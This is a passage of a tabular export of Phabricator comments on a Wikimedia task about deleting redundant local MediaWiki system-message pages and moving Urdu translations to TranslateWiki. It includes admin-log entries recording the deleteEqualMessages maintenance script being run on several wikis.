(T45917)",,,1471791677,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.823529411764706,0.8823529411764706,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-08-21T15:01:16Z] <Dereckson> Run deleteEqualMessages maintenance script on urwiki (T45917)"
714904,"Delete all redundant ""MediaWiki"" pages for system messages",">>! In T45917#2570412, @Dereckson wrote:
> We can sorry :)

Thanks, Okay, I wish to delete those messeges which have same value on both wiki. ",,,1471791515,,PHID-USER-xfrkgxsnlepm7r3bx43d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,23.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,0.9090909090909091,"QUOTE
QUOTE

Thanks, Okay, I wish to delete those messeges which have same value on both wiki. "
714903,"Delete all redundant ""MediaWiki"" pages for system messages",We can sorry :),,,1471791402,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,We can sorry :)
714902,"Delete all redundant ""MediaWiki"" pages for system messages",">>! In T45917#2570408, @Dereckson wrote:
> We can't start to delete messages with the same values on ur. and TranslateWiki if you wish.
> 
> That would delete 297 messages with the (identical) translation already on TranslateWiki.

You can't? :)",,,1471791369,,PHID-USER-xfrkgxsnlepm7r3bx43d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,23.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.769230769230769,0.6153846153846154,"QUOTE
QUOTE
QUOTE
QUOTE

You can't? :)"
714901,"Delete all redundant ""MediaWiki"" pages for system messages","We can't start to delete messages with the same values on ur. and TranslateWiki if you wish.

That would delete 297 messages with the (identical) translation already on TranslateWiki.",,,1471791248,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,6.0,17.0,8.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.7777777777777778,"We can't start to delete messages with the same values on ur. and TranslateWiki if you wish.

That would delete 297 messages with the (identical) translation already on TranslateWiki."
714900,"Delete all redundant ""MediaWiki"" pages for system messages","We can't start to delete messages with the same values on ur. and TranslateWiki if you wish.

That would delete 297 messages.",,,1471791220,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,4.0,4.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,7.0,15.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,0.8518518518518519,"We can't start to delete messages with the same values on ur. and TranslateWiki if you wish.

That would delete 297 messages."
714898,"Delete all redundant ""MediaWiki"" pages for system messages",We can't start to delete messages with the same values on ur. and TranslateWiki.,,,1471791155,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,18.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9411764705882355,0.9411764705882353,We can't start to delete messages with the same values on ur. and TranslateWiki.
714897,"Delete all redundant ""MediaWiki"" pages for system messages",">>! In T45917#2570406, @Dereckson wrote:
> Yes but that's exactly the problem.
> 
> TranslateWiki manages the translation for EVERY wiki un Urdu (and you can set every installation of MediaWiki in Urdu just adding ?uselang=ur).
> 
> Wikimedia and Wikipedia specific translations should be done on wiki.
> 
> Universal translations should be done on TranslateWiki.
> 
> So yes, we can export translations from ur.wikipedia to import them to TranslateWiki, but there is a need to know what messages to import, what not.

In that case, Will you delete mediawiki: messeges on ur.wiki? Because now we are translating on translatewiki. ",,,1471790490,,PHID-USER-xfrkgxsnlepm7r3bx43d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,32.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,10.0,24.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.7804878048780486,0.5609756097560976,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

In that case, Will you delete mediawiki: messeges on ur.wiki? Because now we are translating on translatewiki. "
714896,"Delete all redundant ""MediaWiki"" pages for system messages","Yes but that's exactly the problem.

TranslateWiki manages the translation for EVERY wiki un Urdu (and you can set every installation of MediaWiki in Urdu just adding ?uselang=ur).

Wikimedia and Wikipedia specific translations should be done on wiki.

Universal translations should be done on TranslateWiki.

So yes, we can export translations from ur.wikipedia to import them to TranslateWiki, but there is a need to know what messages to import, what not.",,,1471790303,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,2.0,0.0,0.0,2.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,11.0,0.0,3.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,3.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,3.0,13.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,3.0,11.0,15.0,1.0,0.0,0.0,3.0,0.0,2.0,1.0,1.0,1.0,0.0,0.0,0.0,4.404494382022472,0.6853932584269663,"Yes but that's exactly the problem.

TranslateWiki manages the translation for EVERY wiki un Urdu (and you can set every installation of MediaWiki in Urdu just adding ?uselang=ur).

Wikimedia and Wikipedia specific translations should be done on wiki.

Universal translations should be done on TranslateWiki.

So yes, we can export translations from ur.wikipedia to import them to TranslateWiki, but there is a need to know what messages to import, what not."
714895,"Delete all redundant ""MediaWiki"" pages for system messages",">>! In T45917#2570356, @Dereckson wrote:
> The issue is how to sort them between Wikimedia-specific messages and universal messages for every wikis?

I want it for specific wiki, ur.wiki",,,1471787975,,PHID-USER-xfrkgxsnlepm7r3bx43d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5833333333333335,0.9166666666666666,"QUOTE
QUOTE

I want it for specific wiki, ur.wiki"
714884,"Delete all redundant ""MediaWiki"" pages for system messages",The issue is how to sort them between Wikimedia-specific messages and universal messages for every wikis?,,,1471784540,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,5.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,11.0,5.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,16.0,5.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,4.7368421052631575,0.9473684210526315,The issue is how to sort them between Wikimedia-specific messages and universal messages for every wikis?
714826,"Delete all redundant ""MediaWiki"" pages for system messages",Is this possible to move mediawiki: namespace translations to translatewiki.net? Previously we had translated huge amount of mediawiki software strings locally. Some have been outdated but many of them are useful. And now we would like to continue translate on translatewiki. ,,,1471752189,,PHID-USER-xfrkgxsnlepm7r3bx43d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,4.0,0.0,0.0,2.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,13.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,7.0,13.0,7.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.108695652173913,0.8478260869565217,Is this possible to move mediawiki: namespace translations to translatewiki.net? Previously we had translated huge amount of mediawiki software strings locally. Some have been outdated but many of them are useful. And now we would like to continue translate on translatewiki. 
713996,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVafiUcdX4d8bmU7pfbN} [2016-08-18T21:23:09Z] <Dereckson> Run deleteEqualMessages maintenance script on eswikibooks, eswikiquote, eswikisource, eswiktionary and eswikiversity (T45917)",,,1471555389,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.5,0.8333333333333334,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-08-18T21:23:09Z] <Dereckson> Run deleteEqualMessages maintenance script on eswikibooks, eswikiquote, eswikisource, eswiktionary and eswikiversity (T45917)"
713994,"Delete all redundant ""MediaWiki"" pages for system messages","Done.

{P3852}",,,1471555245,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.3333333333333335,1.0,"Done.

{P3852}"
713980,"Delete all redundant ""MediaWiki"" pages for system messages","I'm handling the es part, then I'll reassign the task to Krinkle for review and closure.",,,1471554376,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,15.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,10.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.65,0.9,"I'm handling the es part, then I'll reassign the task to Krinkle for review and closure."
713946,"Delete all redundant ""MediaWiki"" pages for system messages","Doing a quick check, I've encountered the same problems at the rest of Spanish language projects, as such I propose to run the script on:

* eswikibooks
* eswikiquote
* eswikisource
* eswiktionary
* eswikiversity

Thank you.",,,1471552138,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,10.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.041666666666667,0.75,"Doing a quick check, I've encountered the same problems at the rest of Spanish language projects, as such I propose to run the script on:

* eswikibooks
* eswikiquote
* eswikisource
* eswiktionary
* eswikiversity

Thank you."
713943,"Delete all redundant ""MediaWiki"" pages for system messages","Requesting the script to be run on es.wikisource as per https://es.wikisource.org/w/index.php?title=Especial%3ATodosLosMensajes&prefix=&filter=modified&lang=es&limit=5000

Lots of local messages equal to the source in TWN.

Thank you!",,,1471551990,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,26.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,19.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,26.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.814814814814815,0.8888888888888888,"Requesting the script to be run on es.wikisource as per URL

Lots of local messages equal to the source in TWN.

Thank you!"
671692,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVUIBSXNgCrwkbTdmSYI} [2016-05-31T18:13:23Z] <Krinkle> mwscript deleteEqualMessages.php --wiki hrwikibooks (T45917)",,,1464718403,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,152,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,34.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.03125,0.875,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-05-31T18:13:23Z] <Krinkle> mwscript deleteEqualMessages.php --wiki hrwikibooks (T45917)"
671126,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVUDAGmt1EdYBLP_75C3} [2016-05-30T18:50:06Z] <Krinkle> mwscript deleteEqualMessages.php --wiki nvwiki (T45917)",,,1464634207,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,152,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.875,0.875,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-05-30T18:50:06Z] <Krinkle> mwscript deleteEqualMessages.php --wiki nvwiki (T45917)"
667970,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVTknVjG1EdYBLP_72u_} [2016-05-24T21:13:17Z] <Krinkle>  mwscript deleteEqualMessages.php --wiki mrwiki (T45917)",,,1464124398,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,151,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.787878787878788,0.8787878787878788,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-05-24T21:13:17Z] <Krinkle>  mwscript deleteEqualMessages.php --wiki mrwiki (T45917)"
667900,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVTkYTJ_gCrwkbTdmPef} [2016-05-24T20:07:35Z] <Krinkle>  mwscript deleteEqualMessages.php --wiki diqwiki (T45917)",,,1464120456,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,151,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.8181818181818183,0.8787878787878788,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-05-24T20:07:35Z] <Krinkle>  mwscript deleteEqualMessages.php --wiki diqwiki (T45917)"
667893,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVTkVf57sSQjJM_mrtuk} [2016-05-24T19:55:21Z] <Krinkle>  mwscript deleteEqualMessages.php --wiki cywiktionary (T45917)",,,1464119721,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,151,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.9696969696969697,0.8787878787878788,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-05-24T19:55:21Z] <Krinkle>  mwscript deleteEqualMessages.php --wiki cywiktionary (T45917)"
667889,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVTkTHRTgCrwkbTdmPdj} [2016-05-24T19:44:56Z] <Krinkle>  mwscript deleteEqualMessages.php --wiki warwiki 